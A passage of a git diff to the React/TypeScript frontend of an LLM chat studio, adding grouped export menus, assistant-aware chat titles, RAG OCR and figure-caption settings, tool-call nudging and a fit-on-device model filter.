+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Combined
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`ap-m-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, true)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                   <DropdownMenuSeparator />
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`ap-s-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, false)}>
-                      {label} (per chat)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Per chat
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`ap-s-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, false)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                 </DropdownMenuSubContent>
               </DropdownMenuSub>
               <DropdownMenuSub>
                 <DropdownMenuSubTrigger>Export Projects + Recents</DropdownMenuSubTrigger>
                 <DropdownMenuSubContent className="w-52">
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`all-m-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, true)}>
-                      {label} (combined)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Combined
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`all-m-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, true)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                   <DropdownMenuSeparator />
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`all-s-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, false)}>
-                      {label} (per chat)
-                    </DropdownMenuItem>
-                  ))}
+                  <DropdownMenuGroup>
+                    <DropdownMenuLabel className="pb-1 pt-2 text-[11px] font-medium">
+                      Per chat
+                    </DropdownMenuLabel>
+                    {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
+                      <DropdownMenuItem key={`all-s-${fmt}`} onSelect={() => void handleBulkProjectExport("all", fmt, false)}>
+                        {label}
+                      </DropdownMenuItem>
+                    ))}
+                  </DropdownMenuGroup>
                 </DropdownMenuSubContent>
               </DropdownMenuSub>
             </DropdownMenuContent>
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index fbaa4400ed..67980b94c6 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -427,26 +427,32 @@ function extractTextParts(m: ThreadMessage | undefined): string {
 
 async function generateTitleWithModel(payload: {
   userText: string;
+  assistantText?: string;
 }): Promise<string | null> {
   const params = useChatRuntimeStore.getState().params;
   if (!params.checkpoint) return null;
 
   const user = clip(payload.userText, 256);
-  const parts: string[] = [user];
+  const assistant = clip(payload.assistantText ?? "", 384);
+  const parts: string[] = [`User: ${user}`];
+  if (assistant) {
+    parts.push(`Assistant: ${assistant}`);
+  }
 
   function normalizeTitle(raw: string): string | null {
     let title = raw.split(/\r?\n/, 1)[0] ?? "";
     title = title.replace(/^\s*title\s*:\s*/i, "");
     title = title.replace(/[^\x20-\x7E]+/g, " ");
     title = title.replace(/["'`]+/g, "");
-    title = title.replace(/[.!?:;,]+/g, " ");
-    title = title.replace(/\s+/g, " ").trim();
 
-    // Model echo fail-safe.
-    if (/\b(user|base|lora|assistant)\s*:/i.test(title)) {
+    // Echo fail-safe: reject leading role labels before punctuation strips the ":".
+    if (/^\s*(user|assistant|base|lora)\s*:/i.test(title)) {
       return null;
     }
 
+    title = title.replace(/[.!?:;,]+/g, " ");
+    title = title.replace(/\s+/g, " ").trim();
+
     const words = title.split(" ").filter(Boolean).slice(0, 6);
     const joined = words.join(" ").trim();
     if (!joined) return null;
@@ -468,7 +474,7 @@ async function generateTitleWithModel(payload: {
         {
           role: "system",
           content:
-            "Write 1 concise chat title for the user's message. Rules: 2-6 words, no quotes, no punctuation, ASCII only, do not echo input. Output title only.",
+            "Write 1 concise chat title summarizing the conversation topic, not the user's exact wording. Use the assistant reply as context when provided. Rules: 2-6 words, no quotes, no punctuation, ASCII only, do not echo input. Output title only.",
         },
         { role: "user", content: parts.join("\n") },
       ],
@@ -730,8 +736,15 @@ function createStudioDbAdapter(
         return streamTitle(thread.title);
       }
 
-      const firstUser = messages.find((m) => m.role === "user");
+      const firstUserIndex = messages.findIndex((m) => m.role === "user");
+      const firstUser =
+        firstUserIndex === -1 ? undefined : messages[firstUserIndex];
+      const firstAssistant =
+        firstUserIndex === -1
+          ? undefined
+          : messages.find((m, i) => m.role === "assistant" && i > firstUserIndex);
       const userText = extractTextParts(firstUser) || defaultTitle;
+      const assistantText = extractTextParts(firstAssistant);
 
       if (!autoTitle) {
         const title = fallbackTitleFromUserText(userText);
@@ -769,6 +782,7 @@ function createStudioDbAdapter(
         const title =
           (await generateTitleWithModel({
             userText,
+            assistantText,
           })) || fallbackTitleFromUserText(userText);
 
         await persistTitle(title);
@@ -1031,16 +1045,17 @@ function useStudioRuntimeAdapters(
   return adapters;
 }
 
-const chatAdapter = createOpenAIStreamAdapter();
-
 function useRuntimeHook(
   modelType: ModelType,
   pairId?: string,
 ): ReturnType<typeof useLocalRuntime> {
   const adapters = useStudioRuntimeAdapters(modelType, pairId);
   const persistedChatAdapter = useMemo(
-    () => createPersistedRunAdapter(chatAdapter),
-    [],
+    () =>
+      createPersistedRunAdapter(
+        createOpenAIStreamAdapter({ modelType, pairId }),
+      ),
+    [modelType, pairId],
   );
   return useLocalRuntime(persistedChatAdapter, { adapters });
 }
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index f35ccc6149..a50af46e85 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -7,6 +7,7 @@ import {
   thinkToggleAriaLabel,
 } from "@/components/assistant-ui/think-aria-label";
 import { Button } from "@/components/ui/button";
+import { BulbIcon } from "@/lib/bulb-icon";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
 import {
@@ -155,20 +156,6 @@ const MicIcon: FC<{ className?: string }> = ({ className }) => (
   </svg>
 );
 
-const BulbIcon: FC<{ className?: string }> = ({ className }) => (
-  <svg
-    className={className}
-    viewBox="-10.24 -10.24 1044.48 1044.48"
-    fill="currentColor"
-    stroke="currentColor"
-    strokeWidth={16.384}
-    xmlns="http://www.w3.org/2000/svg"
-    aria-hidden={true}
-  >
-    <path d="M511.984 0c-198.032 0-353.12 161.104-353.12 359.136 0 149.2 73.28 220.256 131.185 272.128 37.28 33.424 62.368 53.552 62.368 78.352v54.255c0 1.392.193 2.752.368 4.128h-.72v92.624c.016 97.712 63.2 163.376 161.072 163.376 94.464 0 158.944-65.664 158.944-163.376V768h-.928c.176-1.376.416-2.736.416-4.128v-54.255c0-37.76 28.032-60.592 70.528-97.696 57.504-50.208 123.023-112.688 123.023-252.784C865.136 161.104 710.016 0 511.983 0zm-1.215 960c-59.904 0-94.689-37.152-94.689-99.376l-.463-42.672C438.64 825.824 470 832 512 832c41.424 0 72.848-6.624 96.08-14.768v43.392c0 63.152-35.247 99.376-97.312 99.376zm189.248-396.288c-43.472 37.968-92.433 77.216-92.433 145.904v40.432c-15.183 8.48-43.183 18.56-96.127 18.56-55.569 0-81.92-9.856-95.024-17.473V709.6c0-54.608-42.688-89.297-83.68-126.017-54.32-48.672-109.873-103.84-109.873-224.464-.015-162.72 126.385-295.12 289.104-295.12 162.752 0 289.152 132.4 289.152 295.137 0 111.024-48.463 158.576-101.12 204.576z" />
-  </svg>
-);
-
 function isNativeComposing(event: Event) {
   return "isComposing" in event && (event as InputEvent).isComposing === true;
 }
@@ -625,6 +612,12 @@ export function SharedComposer({
   const isEffort =
     effectiveReasoningStyle === "reasoning_effort" ||
     effectiveReasoningStyle === "enable_thinking_effort";
+  // GLM-5.2's effort menu (Off, high, max) has short rows, so it can sit a
+  // touch skinnier. Skip the narrower floor when a Preserve thinking row is
+  // present, since that longer label needs the wider width to stay one line.
+  const narrowEffortMenu =
+    effectiveReasoningStyle === "enable_thinking_effort" &&
+    !supportsPreserveThinking;
   const thinkingActiveLook = isEffort
     ? reasoningLockedOn || (effectiveReasoningVisualEnabled && !reasoningDisabled)
     : reasoningLockedOn || (effectiveReasoningEnabled && !reasoningDisabled);
@@ -1798,7 +1791,10 @@ export function SharedComposer({
                 <DropdownMenuContent
                   side="top"
                   align="end"
-                  className="unsloth-plus-menu min-w-44"
+                  className={cn(
+                    "unsloth-plus-menu",
+                    narrowEffortMenu ? "min-w-40" : "min-w-44",
+                  )}
                 >
                   {isEffort ? (
                     <>
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 059a454305..ad50c4ece8 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { RememberedLoadSettings } from "@/components/assistant-ui/model-selector/remembered-load-settings";
 import { cancelStagedModelDownload } from "@/features/hub";
 import { toast } from "@/lib/toast";
 import { create } from "zustand";
@@ -41,6 +42,8 @@ export const CHAT_EXPAND_QUANTIZATIONS_KEY =
   "unsloth_chat_expand_quantizations";
 export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
   "unsloth_chat_show_all_quantizations";
+export const MODELS_FIT_ON_DEVICE_ONLY_KEY =
+  "unsloth_models_fit_on_device_only";
 export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
@@ -50,6 +53,8 @@ export const CHAT_RAG_TOP_K_KEY = "unsloth_chat_rag_top_k";
 export const CHAT_RAG_AUTOINJECT_KEY = "unsloth_chat_rag_autoinject";
 export const CHAT_RAG_AUTOINJECT_MIN_SCORE_KEY =
   "unsloth_chat_rag_autoinject_min_score";
+export const CHAT_RAG_OCR_KEY = "unsloth_chat_rag_ocr_scanned";
+export const CHAT_RAG_CAPTION_KEY = "unsloth_chat_rag_caption_figures";
 export const CHAT_SPECULATIVE_TYPE_KEY = "unsloth_chat_speculative_type";
 
 // Persist only the model-agnostic intents (auto/ngram/off). MTP modes
@@ -68,6 +73,12 @@ export const DEFAULT_RAG_TOP_K = 5;
 export type RagAutoInject = "auto" | "on" | "off";
 export const DEFAULT_RAG_AUTOINJECT: RagAutoInject = "auto";
 export const DEFAULT_RAG_AUTOINJECT_MIN_SCORE = 0.7;
+// OCR scanned/image-only PDF pages at ingest time. On by default; off skips the
+// extra vision pass (only matters when the loaded chat model has vision).
+export const DEFAULT_RAG_OCR = true;
+// Describe figures/charts in PDFs at ingest time so they become searchable. On by
+// default (no-op without a vision model); off skips the per-figure vision calls.
+export const DEFAULT_RAG_CAPTION = true;
 
 function loadRagSource(): RagSource {
   if (typeof window === "undefined") return DEFAULT_RAG_SOURCE;
@@ -591,6 +602,10 @@ type ChatRuntimeStore = {
   // autoInject = forced first-pass retrieval before answering.
   ragAutoInject: RagAutoInject;
   ragAutoInjectMinScore: number;
+  // OCR scanned/image-only PDF pages at ingest time (vision model required).
+  ragOcrScanned: boolean;
+  // Describe figures/charts at ingest time (vision model required).
+  ragCaptionFigures: boolean;
   /**
    * When on, local Studio tool calls pause for an explicit allow/deny in the
    * chat before they run.
@@ -631,6 +646,7 @@ type ChatRuntimeStore = {
   toolStatus: string | null;
   generatingStatus: string | null;
   autoHealToolCalls: boolean;
+  nudgeToolCalls: boolean;
   maxToolCallsPerMessage: number;
   toolCallTimeout: number;
   kvCacheDtype: string | null;
@@ -658,6 +674,9 @@ type ChatRuntimeStore = {
   expandQuantizations: boolean;
   /** Persisted: show non-downloaded quantizations too, not just downloaded. */
   showAllQuantizations: boolean;
+  /** Persisted, shared by the chat model selector and the Hub page: list only
+   *  models whose size fits this device's memory budget. */
+  fitOnDeviceOnly: boolean;
   /** A local model picked while `loadOnSelection` is off: staged, not loaded.
    *  The settings sheet shows its load knobs and a Load button. */
   pendingSelection: PendingModelSelection | null;
@@ -756,10 +775,13 @@ type ChatRuntimeStore = {
   setRagTopK: (topK: number) => void;
   setRagAutoInject: (value: RagAutoInject) => void;
   setRagAutoInjectMinScore: (score: number) => void;
+  setRagOcrScanned: (enabled: boolean) => void;
+  setRagCaptionFigures: (enabled: boolean) => void;
   setToolStatus: (status: string | null) => void;
   setGeneratingStatus: (status: string | null) => void;
   setActiveDiffusionCanvas: (canvas: DiffusionCanvasFrame | null) => void;
   setAutoHealToolCalls: (enabled: boolean) => void;
+  setNudgeToolCalls: (enabled: boolean) => void;
   setMaxToolCallsPerMessage: (value: number) => void;
   setToolCallTimeout: (value: number) => void;
   setKvCacheDtype: (dtype: string | null) => void;
@@ -770,10 +792,15 @@ type ChatRuntimeStore = {
    *  start each deferred-staging session clean so one staged pick's settings
    *  don't leak onto the next. */
   resetModelSettingsToLoaded: () => void;
+  /** Seed the editable load knobs from a model's remembered settings. Shared by
+   *  the settings sheet's restore effect and the "Load on selection" paths,
+   *  which skip the sheet but must still honor a saved config. */
+  applyRememberedLoadSettings: (settings: RememberedLoadSettings) => void;
   setTensorParallel: (value: boolean) => void;
   setLoadOnSelection: (value: boolean) => void;
   setExpandQuantizations: (value: boolean) => void;
   setShowAllQuantizations: (value: boolean) => void;
+  setFitOnDeviceOnly: (value: boolean) => void;
   setPendingSelection: (selection: PendingModelSelection | null) => void;
   /** Stage a pick for a deferred load: revert knobs to the loaded baseline,
    *  record the selection, and open the settings sheet. */
@@ -807,6 +834,7 @@ type ScalarSettingKey =
   | "collapseHtmlArtifacts"
   | "allowArtifactNetworkAccess"
   | "autoHealToolCalls"
+  | "nudgeToolCalls"
   | "maxToolCallsPerMessage"
   | "toolCallTimeout";
 
@@ -832,6 +860,7 @@ const PERSISTED_INFERENCE_PARAM_KEYS = [
   "maxSeqLength",
   "maxTokens",
   "systemPrompt",
+  "systemVariables",
   "trustRemoteCode",
   "fastMode",
 ] as const satisfies readonly PersistedInferenceParamKey[];
@@ -843,6 +872,7 @@ const SCALAR_SETTING_KEYS = [
   "collapseHtmlArtifacts",
   "allowArtifactNetworkAccess",
   "autoHealToolCalls",
+  "nudgeToolCalls",
   "maxToolCallsPerMessage",
   "toolCallTimeout",
 ] as const satisfies readonly ScalarSettingKey[];
@@ -1071,10 +1101,13 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     DEFAULT_RAG_AUTOINJECT_MIN_SCORE,
     { min: 0, max: 1 },
   ),
+  ragOcrScanned: loadBool(CHAT_RAG_OCR_KEY, DEFAULT_RAG_OCR),
+  ragCaptionFigures: loadBool(CHAT_RAG_CAPTION_KEY, DEFAULT_RAG_CAPTION),
   toolStatus: null,
   generatingStatus: null,
   activeDiffusionCanvas: null,
   autoHealToolCalls: true,
+  nudgeToolCalls: true,
   maxToolCallsPerMessage: 25,
   toolCallTimeout: 5,
   kvCacheDtype: null,
@@ -1089,6 +1122,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true),
   expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false),
   showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true),
+  fitOnDeviceOnly: loadBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, false),
   pendingSelection: null,
   loadedIsMultimodal: false,
   loadedIsDiffusion: false,
@@ -1492,6 +1526,16 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { ragAutoInjectMinScore };
     }),
+  setRagOcrScanned: (ragOcrScanned) =>
+    set(() => {
+      saveBool(CHAT_RAG_OCR_KEY, ragOcrScanned);
+      return { ragOcrScanned };
+    }),
+  setRagCaptionFigures: (ragCaptionFigures) =>
+    set(() => {
+      saveBool(CHAT_RAG_CAPTION_KEY, ragCaptionFigures);
+      return { ragCaptionFigures };
+    }),
   setToolStatus: (toolStatus) => set({ toolStatus }),
   setActiveDiffusionCanvas: (activeDiffusionCanvas) =>
     set({ activeDiffusionCanvas }),
@@ -1505,6 +1549,15 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { autoHealToolCalls };
     }),
+  setNudgeToolCalls: (nudgeToolCalls) =>
+    set((state) => {
+      setScalarSettingVersion(
+        "nudgeToolCalls",
+        nudgeToolCalls,
+        state.nudgeToolCalls,
+      );
+      return { nudgeToolCalls };
+    }),
   setMaxToolCallsPerMessage: (maxToolCallsPerMessage) =>
     set((state) => {
       setScalarSettingVersion(
@@ -1528,6 +1581,16 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   setSpecDraftNMax: (specDraftNMax) => set({ specDraftNMax }),
   setTensorParallel: (tensorParallel) => set({ tensorParallel }),
   resetModelSettingsToLoaded: () => set((s) => loadedBaselineSettings(s)),
+  applyRememberedLoadSettings: (settings) =>
+    // Coalesce every field: a blob persisted by an older/newer build can omit
+    // keys, and a raw spread would push `undefined` into fields typed non-null.
+    set({
+      customContextLength: settings.contextLength ?? null,
+      kvCacheDtype: settings.kvCacheDtype ?? null,
+      speculativeType: settings.speculativeType ?? "auto",
+      specDraftNMax: settings.specDraftNMax ?? null,
+      tensorParallel: settings.tensorParallel ?? false,
+    }),
   setLoadOnSelection: (loadOnSelection) => {
     saveBool(CHAT_LOAD_ON_SELECTION_KEY, loadOnSelection);
     set({ loadOnSelection });
@@ -1540,6 +1603,10 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     saveBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, showAllQuantizations);
     set({ showAllQuantizations });
   },
+  setFitOnDeviceOnly: (fitOnDeviceOnly) => {
+    saveBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, fitOnDeviceOnly);
+    set({ fitOnDeviceOnly });
+  },
   setPendingSelection: (pendingSelection) => set({ pendingSelection }),
   stageModel: (selection) => {
     // Refuse staging mid-load: post-load cleanup would silently drop the queued
diff --git a/studio/frontend/src/features/chat/tour/steps.tsx b/studio/frontend/src/features/chat/tour/steps.tsx
index cbbb7bae4f..84e3fe5950 100644
--- a/studio/frontend/src/features/chat/tour/steps.tsx
+++ b/studio/frontend/src/features/chat/tour/steps.tsx
@@ -27,20 +27,21 @@ export function buildChatTourSteps({
       title: "Pick a model",
       body: (
         <>
-          This selects what’s loaded for inference. Hub = base models. Fine-tuned
-          = trained Unsloth outputs, including LoRA adapters and full finetunes.
+          Selects what’s loaded for inference. Recommended is Unsloth’s curated
+          base models; On Device is your downloads and fine-tuned outputs (LoRA
+          adapters and full finetunes).
         </>
       ),
     },
     {
       id: "model-tabs",
       target: "chat-model-selector-popover",
-      title: "Two tabs",
+      title: "Find a model",
       body: (
         <>
-          Hub: search Hugging Face models. Fine-tuned: local Unsloth outputs you’ve
-          trained or exported. If results look off, compare base vs fine-tuned
-          outputs to see what changed.
+          Search Unsloth’s models, or hit Search Hub for all of Hugging Face.
+          Switch Recommended and On Device, filter by format, and sort by
+          trending or recent. An OOM tag means it won’t fit in your VRAM.
         </>
       ),
       onEnter: openModelSelector,
@@ -59,6 +60,18 @@ export function buildChatTourSteps({
       onEnter: openSettings,
       onExit: closeSettings,
     },
+    {
+      id: "plus-menu",
+      target: "chat-plus-menu",
+      title: "The + menu",
+      body: (
+        <>
+          Everything else lives here: attach photos and files, reuse saved
+          prompts, toggle tools and MCP, start a side-by-side compare, and
+          export the chat.
+        </>
+      ),
+    },
   ];
 
   if (canCompare) {
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index b8391e31e7..954e88e86b 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -84,7 +84,9 @@ export interface GgufVariantDetail {
   filename: string;
   quant: string;
   size_bytes: number;
+  download_size_bytes?: number;
   downloaded?: boolean;
+  update_available?: boolean;
 }
 
 export interface GgufVariantsResponse {
@@ -350,8 +352,12 @@ export interface OpenAIChatCompletionsRequest {
     mode: "hybrid" | "lexical" | "dense";
     autoinject?: boolean;
     autoinject_min_score?: number;
+
+    whole_doc?: boolean;
+    context_length?: number;
   };
   auto_heal_tool_calls?: boolean;
+  nudge_tool_calls?: boolean;
   max_tool_calls_per_message?: number;
   tool_call_timeout?: number;
   session_id?: string;
diff --git a/studio/frontend/src/features/chat/types/runtime.ts b/studio/frontend/src/features/chat/types/runtime.ts
index f521fd192f..7600d7085b 100644
--- a/studio/frontend/src/features/chat/types/runtime.ts
+++ b/studio/frontend/src/features/chat/types/runtime.ts
@@ -11,6 +11,7 @@ export interface InferenceParams {
   maxSeqLength: number;
   maxTokens: number;
   systemPrompt: string;
+  systemVariables: string;
   checkpoint: string;
   /** Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust. */
   trustRemoteCode?: boolean;
@@ -32,6 +33,7 @@ export const DEFAULT_INFERENCE_PARAMS: InferenceParams = {
   maxSeqLength: 4096,
   maxTokens: 8192,
   systemPrompt: "",
+  systemVariables: "",
   checkpoint: "",
   trustRemoteCode: false,
   fastMode: false,
diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
index 486288a04e..4899cb9c83 100644
--- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
@@ -21,6 +21,7 @@ import type { ReasoningEffort } from "../stores/chat-runtime-store";
 
 const AUTO_TITLE_KEY = "unsloth_chat_auto_title";
 const AUTO_HEAL_TOOL_CALLS_KEY = "unsloth_auto_heal_tool_calls";
+const NUDGE_TOOL_CALLS_KEY = "unsloth_nudge_tool_calls";
 const MAX_TOOL_CALLS_KEY = "unsloth_max_tool_calls_per_message";
 const TOOL_CALL_TIMEOUT_KEY = "unsloth_tool_call_timeout";
 const INFERENCE_PARAMS_KEY = "unsloth_chat_inference_params";
@@ -140,6 +141,9 @@ function sanitizeInferenceParams(
   if (typeof value.systemPrompt === "string") {
     params.systemPrompt = value.systemPrompt;
   }
+  if (typeof value.systemVariables === "string") {
+    params.systemVariables = value.systemVariables;
+  }
   // trustRemoteCode is no longer persisted: custom code is consented per model via the dialog.
   if (typeof value.fastMode === "boolean") {
     params.fastMode = value.fastMode;
@@ -220,6 +224,7 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
     value.allowArtifactNetworkAccess,
   );
   const autoHealToolCalls = sanitizeBool(value.autoHealToolCalls);
+  const nudgeToolCalls = sanitizeBool(value.nudgeToolCalls);
   const maxToolCallsPerMessage = sanitizeInt(value.maxToolCallsPerMessage, 1);
   const toolCallTimeout = sanitizeInt(value.toolCallTimeout, 1);
 
@@ -242,6 +247,9 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
@@ -302,6 +310,7 @@ export function isEmptyChatSettings(settings: PersistedChatSettings): boolean {
     settings.collapseHtmlArtifacts === undefined &&
     settings.allowArtifactNetworkAccess === undefined &&
     settings.autoHealToolCalls === undefined &&
+    settings.nudgeToolCalls === undefined &&
     settings.maxToolCallsPerMessage === undefined &&
     settings.toolCallTimeout === undefined
   );
@@ -332,6 +341,7 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   const collapseHtmlArtifacts = loadBool(COLLAPSE_HTML_ARTIFACTS_KEY);
   const allowArtifactNetworkAccess = loadBool(ALLOW_ARTIFACT_NETWORK_ACCESS_KEY);
   const autoHealToolCalls = loadBool(AUTO_HEAL_TOOL_CALLS_KEY);
+  const nudgeToolCalls = loadBool(NUDGE_TOOL_CALLS_KEY);
   const maxToolCallsPerMessage = loadInt(MAX_TOOL_CALLS_KEY, 1);
   const toolCallTimeout = loadInt(TOOL_CALL_TIMEOUT_KEY, 1);
   const allCustomPresets = sanitizeCustomPresets([
@@ -358,6 +368,9 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
diff --git a/studio/frontend/src/features/chat/utils/delete-thread-message.ts b/studio/frontend/src/features/chat/utils/delete-thread-message.ts
index 3b439eb779..bea5a63ea7 100644
--- a/studio/frontend/src/features/chat/utils/delete-thread-message.ts
+++ b/studio/frontend/src/features/chat/utils/delete-thread-message.ts
@@ -112,7 +112,26 @@ export async function deleteThreadMessage(args: {
   const exported = thread.export();
   const repo = new MessageRepository();
   repo.import(exported);
+
+  const target = exported.messages.find(
+    ({ message }) => message.id === messageId,
+  );
+  const assistantReplyIds =
+    target?.message.role === "user"
+      ? exported.messages
+          .filter(
+            ({ parentId, message }) =>
+              parentId === messageId && message.role === "assistant",
+          )
+          .map(({ message }) => message.id)
+      : [];
+
+  // Delete the prompt first; that relinks its replies up to the prompt's parent
   repo.deleteMessage(messageId);
+  for (const replyId of assistantReplyIds) {
+    repo.deleteMessage(replyId);
+  }
+
   const next = repo.export();
   if (remoteId) {
     await syncExportedRepositoryToBackend(remoteId, next, {
diff --git a/studio/frontend/src/features/chat/utils/update-thread-message.ts b/studio/frontend/src/features/chat/utils/update-thread-message.ts
index 5029b05956..ee3ea825e9 100644
--- a/studio/frontend/src/features/chat/utils/update-thread-message.ts
+++ b/studio/frontend/src/features/chat/utils/update-thread-message.ts
@@ -9,7 +9,7 @@ type ThreadImportExport = {
 type ContentPart = { type: "text" | "reasoning" | "tool"; text: string };
 
 /**
- * Extracts only the editable text and reasoning from a message, 
+ * Extracts only the editable text and reasoning from a message,
  * ignoring structured parts like tool calls that cannot be edited as plain text.
  */
 export function extractTaggedText(content: any): string {
@@ -23,16 +23,16 @@ export function extractTaggedText(content: any): string {
     .map((part: any) => {
       if (typeof part === 'string') return part;
       if (!part) return "";
-      
+
       // Only extract text from 'text' or 'reasoning' parts.
-      // Tool calls/responses are ignored here so they aren't accidentally 
+      // Tool calls/responses are ignored here so they aren't accidentally
       // deleted or corrupted by the user in the textarea.
       const text = part.text || part.content || "";
       if (!text) return "";
-      
+
       switch (part.type) {
-        case 'reasoning': 
-          // Trim the text first so we don't accumulate newlines 
+        case 'reasoning':
+          // Trim the text first so we don't accumulate newlines
           // around the tags on every save.
           return `${open}THINK${close}\n${text.trim()}\n${open}/THINK${close}`;
         case 'text':
@@ -57,12 +57,12 @@ function parseTaggedTextToContent(text: string): ContentPart[] {
     const index = match.index;
 
     if (index > lastIndex) {
-      // Trim the extracted content to remove any leading/trailing 
+      // Trim the extracted content to remove any leading/trailing
       // newlines created by the tag wrapping process.
       const content = text.substring(lastIndex, index).trim();
       if (content) parts.push({ type: currentType, text: content });
     }
-    
+
     currentType = fullTag.startsWith("</") ? "text" : (tagName === "THINK" ? "reasoning" : "tool");
     lastIndex = index + fullTag.length;
   }
@@ -91,7 +91,7 @@ export async function updateThreadMessage(args: {
     throw new Error(`Message with ID ${messageId} not found in thread.`);
   }
 
-  const { parentId: originalParentId } = targetMessageEntry; 
+  const { parentId: originalParentId } = targetMessageEntry;
   const { createdAt: originalCreatedAt } = targetMessageEntry.message;
 
   const updatedMessages = currentExport.messages.map((m) => {
@@ -101,18 +101,18 @@ export async function updateThreadMessage(args: {
     let finalContent: any[] = [];
 
     if (Array.isArray(originalContent)) {
-      const firstEditableIndex = originalContent.findIndex((part: any) => 
+      const firstEditableIndex = originalContent.findIndex((part: any) =>
         part.type === 'text' || part.type === 'reasoning'
       );
 
       if (firstEditableIndex === -1) {
-        const nonEditableParts = originalContent.filter((part: any) => 
+        const nonEditableParts = originalContent.filter((part: any) =>
           part.type !== 'text' && part.type !== 'reasoning'
         );
         finalContent = [...parsedEditableContent, ...nonEditableParts];
       } else {
         const before = originalContent.slice(0, firstEditableIndex);
-        const after = originalContent.slice(firstEditableIndex + 1).filter((part: any) => 
+        const after = originalContent.slice(firstEditableIndex + 1).filter((part: any) =>
           part.type !== 'text' && part.type !== 'reasoning'
         );
         finalContent = [...before, ...parsedEditableContent, ...after];
diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts
index 659dd44f88..be9767a24f 100644
--- a/studio/frontend/src/features/export/api/export-api.ts
+++ b/studio/frontend/src/features/export/api/export-api.ts
@@ -127,6 +127,8 @@ export async function loadCheckpoint(params: {
